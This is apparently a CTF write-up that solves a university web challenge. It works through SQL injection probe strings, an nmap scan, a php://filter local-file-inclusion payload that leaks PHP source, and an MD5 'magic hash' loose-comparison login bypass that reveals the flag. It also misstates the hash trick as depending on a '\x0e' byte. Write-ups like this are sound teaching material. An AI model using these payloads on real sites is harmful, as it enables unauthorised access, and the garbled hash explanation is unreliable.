[HOME]

KCSC: LFI/RFI Wrapper

This is the first iteration of my CTF write-up series for the new year. Today we will be solving one of my university’s initial challenges. The task is simple itself but I want to show you the mindset of how I play the game.

Fingerprinting

Manual testing

The absolute first thing I do when encountering any web challenge, is to actually visit the webpage and click on everything, fill out every text boxes. Just for a few minutes, get a feeling of mechanics and how the website might operate. Looking at various functionality is the key to do web-pentest.

The login page is shown as we follow our given URL, which is http://p2n.000webhostapp.com/log_me_in/index.php?page=login

Pretty much simple. Let’s try some universal input into those fields and see what the return is.

username: admin
password: admin

The result is expected, a single text line informing invalid credentials. Next we will put a quote (') into one of the field to check whether or not adhere to malformed input.

username: '
password: admin

But it still returns the same error line so we can assume that the form is somewhat safe from common bypassing technique.

It also worth mentioning that you should try different types of input such as:

admin' --
admin' #
admin'/*
admin' or '1'='1
...

Automation testing

Host information

Next step is to enumerate the server type and ports. We all know in our current challenge that this step is insignificant but we can never know for sure, especially while dealing with real-life situations as this will help you determine which attack method to use, where and when to put the payload, etc.

So let us fire up our favorite tool of all time in automated enumeration, nmap.

nmap -v -A --os-guess p2n.000webhostapp.com

Basically, above command will provide us with how many ports are currently open and what type of OS the server is using.

...

PORT      STATE    SERVICE
22/tcp    filtered ssh
80/tcp    open     http
443/tcp   open     https
873/tcp   filtered rsync
2020/tcp  filtered xinupageserver
2049/tcp  open     nfs
8080/tcp  open     http-proxy
9100/tcp  filtered jetdirect
9101/tcp  filtered jetdirect
32768/tcp open     filenet-tms

...
Device type: general purpose|storage-misc|WAP
Running (JUST GUESSING): Linux 3.X|4.X|2.6.X|2.4.X (89%), HP embedded (87%), OpenBSD 4.X (86%), FreeBSD 12.X|11.X (86%)
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/h:hp:p2000_g3 cpe:/o:linux:linux_kernel:2.6.22 cpe:/o:openbsd:openbsd:4.3 cpe:/o:freebsd:freebsd:12.0 cpe:/o:freebsd:freebsd:11.1 cpe:/o:linux:linux_kernel:2.4
Aggressive OS guesses: Linux 3.10 - 4.11 (89%), Linux 4.10 (89%), Linux 4.4 (89%), Linux 3.13 or 4.2 (88%), HP P2000 G3 NAS device (87%), OpenWrt Kamikaze 7.09 (Linux 2.6.22) (86%), OpenBSD 4.3 (86%), FreeBSD 12.0-RELEASE (86%), Linux 3.18 (86%), Linux 3.16 (85%)
No exact OS matches for host (test conditions non-ideal).

Now we can see that the server is running on Linux-based OS. Using this we can keep going on enumerating those service ports but I will just put it here as we will discuss more about probing in our later posts.

In-depth analysis

Now we want to pay a close attention to the given URL

http://p2n.000webhostapp.com/log_me_in/index.php?page=login

The variable page here looks pretty suspicious since its role is to act as a navigation controller. What to do here is to try assigning some value for page.

http://p2n.000webhostapp.com/log_me_in/index.php?page=abc

Of course, it would be like this. The web server takes the abc value and then adds the .php extension after it.

This is the result of page=flag

After all, we are able to know that the endpoint has access to following objects:

index.php
login.php
flag.php

And we come to the conclusion about this endpoint is simply a LFI/RFI gold-mine for us to abuse as the value of page is not being sanitized at all.

In case you are not aware of LFI/RFI, you can read about it here.

Since the webpage standard is not to include PHP objects as plain code, we have to wrap it up using any encoding types (base64). So our final payload would be as follow:

http://p2n.000webhostapp.com/log_me_in/index.php?page=php://filter/convert.base64-encode/resource=index.php

Using Burp Suite to prettify the output:

Decode the base64 buffer will let us have the PHP source of index.php

<?php
if (isset($_GET['page'])) {
	$page = $_GET['page'];
	
	if (preg_match("/flag/i", $page))
		die("<h1>Not so ez =))). Let's think another way!!! </h1>");

	include($_GET['page'].'.php');
}
else {
	header('Location: ?page=login');
}
?>

Do the same with login.php and grab the source

<?php
include("flag.php");

if (isset($_POST['usr']) && isset($_POST['pwd']) ) {
	$your_username = $_POST['usr'];
	$your_password = $_POST['pwd'];

	if ($your_username === "admin" && md5($your_password) == md5("NOOPCJF") && $your_password !== "NOOPCJF" )
		echo "Hello admin!! Here your flag: ".$flag;
	else
		die("Something went wrong!!!");
}
?>


<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<title>Login page</title>
</head>
<body>
	<h1>Login form</h1>
	<form action="?page=login" method="POST">
		<label for="usr"> Username </label>
		<input type="text" name="usr" required /> <br>

		<label for="pwd"> Password </label>
		<input type="text" name="pwd" required /> <br>

		<input type="submit" value="submit">
	</form>
</body>
</html>

Now we want to look at the IF statement as it provides us the valid credentials to achieve our flag

	if ($your_username === "admin" && md5($your_password) == md5("NOOPCJF") && $your_password !== "NOOPCJF" )
		echo "Hello admin!! Here your flag: ".$flag;
	else
		die("Something went wrong!!!");

The username is clearly admin but the password part is a little tricky as it might seems the correct one is NOOPCJF but the following statement is telling otherwise.

But there is a significant vulnerability here as the comparison between two hashes is using loose == operator.

The MD5 hash of NOOPCJF is 0e818888003657176127862245791911. This is not actually a valid MD5 since it starts with \x0e and with the loose comparison operator, it will result in 0. So all you have to do is to find a MD5 string that also starts with \x0e. In this case, we will use 240610708 (0e462097431906509019562988736854) as our password.

Username: admin
Password: 240610708

And the flag is KCSC{gu7_ch0p_3m_hjhjhjhj!!!}

Conclusion

So that is it for today write-up, thank you and I hope you can learn something from this. Feel free to share it to your friends.